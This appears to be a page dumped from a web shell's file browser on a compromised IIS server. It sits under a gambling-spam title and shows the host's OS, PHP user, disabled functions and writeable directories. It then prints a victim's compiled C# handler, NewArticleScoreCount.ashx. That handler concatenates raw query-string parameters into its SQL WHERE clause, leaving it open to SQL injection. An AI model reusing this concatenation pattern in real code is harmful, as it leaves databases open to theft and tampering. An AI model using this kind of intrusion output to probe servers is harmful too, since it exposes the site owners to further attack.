918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/dc15253c/377bd30d/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/dc15253c/377bd30d/App_Web_7dsc66iy.18.cs
?#pragma checksum "D:\wwwroot\jmxbaogao\wwwroot\Counter\NewArticleScoreCount.ashx" "{406ea660-64cf-4c82-b6f0-42d48172a799}" "3C381412EE735FBD263488A6E8F91985"

#line 1 "D:\wwwroot\jmxbaogao\wwwroot\Counter\NewArticleScoreCount.ashx"


/****************************************
 * 版权所有:南昌金启软件有限公司
 * 网    址:www.21it.com
 ****************************************/
using System;
using System.Data;
using System.Web;
using Com.Huji.DataBll;
using Com.Huji.DataTools;
using Com.Huji.Web.Pager;

namespace Com.Huji.Web.Counter
{
    public class NewArticleScoreCount : BaseHandler
    {

        /// <summary>
        /// 此职能仅用于文章所关联的留言信息中,对打分字段数据推算。
        /// <script type="text/javascript" src="/Counter/NewArticleScoreCount.ashx?column_id=67&article_id=14&column_name=message_6"></script>
        /// </summary>
        /// <param name="context"></param>
        public override void ProcessRequest(HttpContext context)
        {
            context.Response.ContentType = "text/plain";
            string tableName = "dbo.jinqi_new_message t";
            string strWhere = "and t." + context.Request.QueryString["column_name"] + "=" + context.Request.QueryString["article_id"] + " and t.column_id=" + context.Request.QueryString["column_id"];
            if (!String.IsNullOrEmpty(context.Request.QueryString["is_article"]))
            {
                tableName = "jinqi_new_article_view t";
                strWhere = " and exists ( select * from dbo.jinqi_new_article_message m where t.article_id=m.article_id and t.language_id=m.language_id";
                strWhere += " and m." + context.Request.QueryString["column_name"] + " ='" + context.Request.QueryString["article_id"] + "' ";
                strWhere += " )";
                strWhere += " and t.column_id=" + context.Request.QueryString["column_id"];
                strWhere += " and t.language_id=" + LanguageId;

            }



            DataTable dt = new SysTableClass().GetTableData(tableName, "count(*)", "", strWhere);


            if (dt != null && dt.Rows.Count != 0)
            {
                Converts.ResponseWriteEnd(context, "document.write('" + dt.Rows[0][0] + "');");
            }
            else
            {
                Converts.ResponseWriteEnd(context, "document.write('0');");
            }
        }
    }
}

#line default
#line hidden